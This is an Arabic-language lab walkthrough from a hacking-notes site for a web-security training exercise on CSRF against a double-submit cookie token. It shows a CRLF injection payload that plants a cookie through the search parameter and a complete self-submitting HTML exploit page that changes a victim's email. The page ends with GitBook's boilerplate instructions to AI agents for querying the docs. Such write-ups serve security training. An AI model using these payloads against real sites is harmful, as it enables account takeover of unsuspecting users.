> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md).

# CSRF مع تكرار الرمز المميز في Cookie Double-Submit

### CSRF حيث يتم تكرار الرمز في ملف تعريف الارتباط

#### الوصف

إن وظيفة تغيير البريد الإلكتروني في هذا المختبر عرضة لهجوم CSRF. يحاول الموقع استخدام التقنية الهشة الخاصة بـ **"الإرسال المزدوج"**: يكون رمز CSRF نفسه موجودًا في كلٍ من حقل النموذج وملف تعريف الارتباط. هذا الحماية غير كافية إذا كان بإمكان مهاجم أن يزور استعلامًا عبر الموقع يرسل `CSRF` حقلًا يحتوي على القيمة نفسها.

#### الهدف

استضافة صفحة HTML على **الخادم** بحيث تقوم، عند عرضها من قبل الزائر، بإرسال طلب POST تلقائيًا لتغيير عنوان بريده الإلكتروني (حلّ المختبر).

#### الوصول (بيانات الاعتماد)

يمكنك الاتصال باستخدام: `wiener: peter`

#### ملاحظات مهمة من الاختبار

* قيمة رمز CSRF في النموذج وقيمة ملف تعريف الارتباط متطابقتان.

<figure><img src="/files/116cf1bf32cd8072093216b21dda53486bb512a5" alt=""><figcaption></figcaption></figure>

#### مثال على حقن CRLF (في `search` شريط العنوان أو المعلمة)

<figure><img src="/files/9d604a279eddab84b649c2ff1bcb6142ccff5863" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6805f65da82a1e98fd11f1d350064d0592582a07" alt="" width="421"><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO
```

<figure><img src="/files/62b29c55fe85a80497ce1680989204786ac126d9" alt=""><figcaption></figcaption></figure>

* لفرض إرسال ملف تعريف الارتباط في سياق عبر المواقع، من المفيد ضبط `SameSite=None` على ملف تعريف الارتباط.

```
hello Set-Cookie: csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO; SameSite=none

hello%0d%0aSet-Cookie:%20csrfKey%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone
```

#### HTML الاستغلال لإيداعه على خادم الاستغلال

فيما يلي مثال لصفحة تضع قيمة رمز CSRF في `CSRF` الحقل، وتحدد البريد الإلكتروني المستهدف، ثم ترسل النموذج تلقائيًا بالاستفادة من استعلام الصورة (الذي يفعّل محاولة كتابة ملف تعريف الارتباط عبر البحث):

```html
<form class="login-form" name="change-email-form" action="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO">
</form>

<img  src="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrf%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
